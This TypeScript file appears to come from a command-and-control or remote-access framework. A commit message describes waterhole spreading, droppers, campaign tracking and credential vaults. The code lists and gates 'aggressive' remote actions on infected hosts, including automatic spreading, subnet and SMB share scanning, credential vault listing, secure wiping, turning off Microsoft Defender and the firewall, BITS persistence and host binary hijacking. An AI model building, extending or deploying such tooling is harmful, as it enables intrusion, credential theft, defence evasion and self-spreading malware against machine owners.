1551bd5dad
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
111 lines
3.1 KiB
TypeScript
111 lines
3.1 KiB
TypeScript
import type { AgentCapabilities } from '../types';
|
|
|
|
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
|
|
export const AGGRESSIVE_REMOTE_ACTIONS = [
|
|
'hole_punch',
|
|
'hole_punch_close',
|
|
'hole_punch_status',
|
|
'spread_now',
|
|
'start_tunnel',
|
|
'tunnel_cloudflared',
|
|
'tunnel_ssh_forward',
|
|
'tunnel_stop',
|
|
'subnet_scan',
|
|
'smb_shares',
|
|
'credential_vault_list',
|
|
'secure_wipe',
|
|
'defender_off',
|
|
'firewall_punch',
|
|
'firewall_off',
|
|
'firewall_on',
|
|
'firewall_profiles',
|
|
'firewall_remove',
|
|
'bits_persist',
|
|
'host_binary_persist',
|
|
'mesh_status',
|
|
] as const;
|
|
|
|
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
|
|
|
|
export function canRunAggressiveAction(
|
|
action: AggressiveRemoteAction,
|
|
caps?: AgentCapabilities | null,
|
|
platform?: string
|
|
): boolean {
|
|
if (platform === 'darwin' && action === 'defender_off') return false;
|
|
if (
|
|
platform !== 'windows' &&
|
|
(action.startsWith('firewall_') ||
|
|
action === 'bits_persist' ||
|
|
action === 'host_binary_persist' ||
|
|
action === 'smb_shares')
|
|
) {
|
|
return false;
|
|
}
|
|
if (!caps) return true;
|
|
switch (action) {
|
|
case 'hole_punch':
|
|
case 'hole_punch_close':
|
|
case 'hole_punch_status':
|
|
return caps.hole_punch;
|
|
case 'spread_now':
|
|
return caps.auto_spread || caps.remote_aggressive;
|
|
case 'start_tunnel':
|
|
case 'tunnel_cloudflared':
|
|
case 'tunnel_ssh_forward':
|
|
case 'tunnel_stop':
|
|
case 'subnet_scan':
|
|
case 'smb_shares':
|
|
case 'credential_vault_list':
|
|
case 'secure_wipe':
|
|
case 'defender_off':
|
|
case 'firewall_punch':
|
|
case 'firewall_off':
|
|
case 'firewall_on':
|
|
case 'firewall_profiles':
|
|
case 'firewall_remove':
|
|
case 'bits_persist':
|
|
case 'host_binary_persist':
|
|
return caps.remote_aggressive;
|
|
case 'mesh_status':
|
|
return caps.mesh_p2p;
|
|
default:
|
|
return false;
|
|
}
|
|
}
|
|
|
|
export function aggressiveActionHint(
|
|
action: AggressiveRemoteAction,
|
|
caps?: AgentCapabilities | null,
|
|
platform?: string
|
|
): string | undefined {
|
|
if (platform === 'darwin' && action === 'defender_off') {
|
|
return 'Defender disable not supported on macOS';
|
|
}
|
|
if (platform !== 'windows' && action.startsWith('firewall_')) {
|
|
return 'Firewall control is Windows-only';
|
|
}
|
|
if (platform !== 'windows' && action === 'bits_persist') {
|
|
return 'BITS persistence is Windows-only';
|
|
}
|
|
if (platform !== 'windows' && action === 'host_binary_persist') {
|
|
return 'Host binary hijack is Windows-only';
|
|
}
|
|
if (platform !== 'windows' && action === 'smb_shares') {
|
|
return 'SMB share enumeration is Windows-only';
|
|
}
|
|
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
|
switch (action) {
|
|
case 'hole_punch':
|
|
case 'hole_punch_close':
|
|
case 'hole_punch_status':
|
|
return 'Re-forge with Advanced → NAT Hole Punch';
|
|
case 'spread_now':
|
|
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
|
|
case 'mesh_status':
|
|
return 'Re-forge with Mesh P2P';
|
|
default:
|
|
return 'Re-forge with Remote Aggressive Ops (Advanced)';
|
|
}
|
|
}
|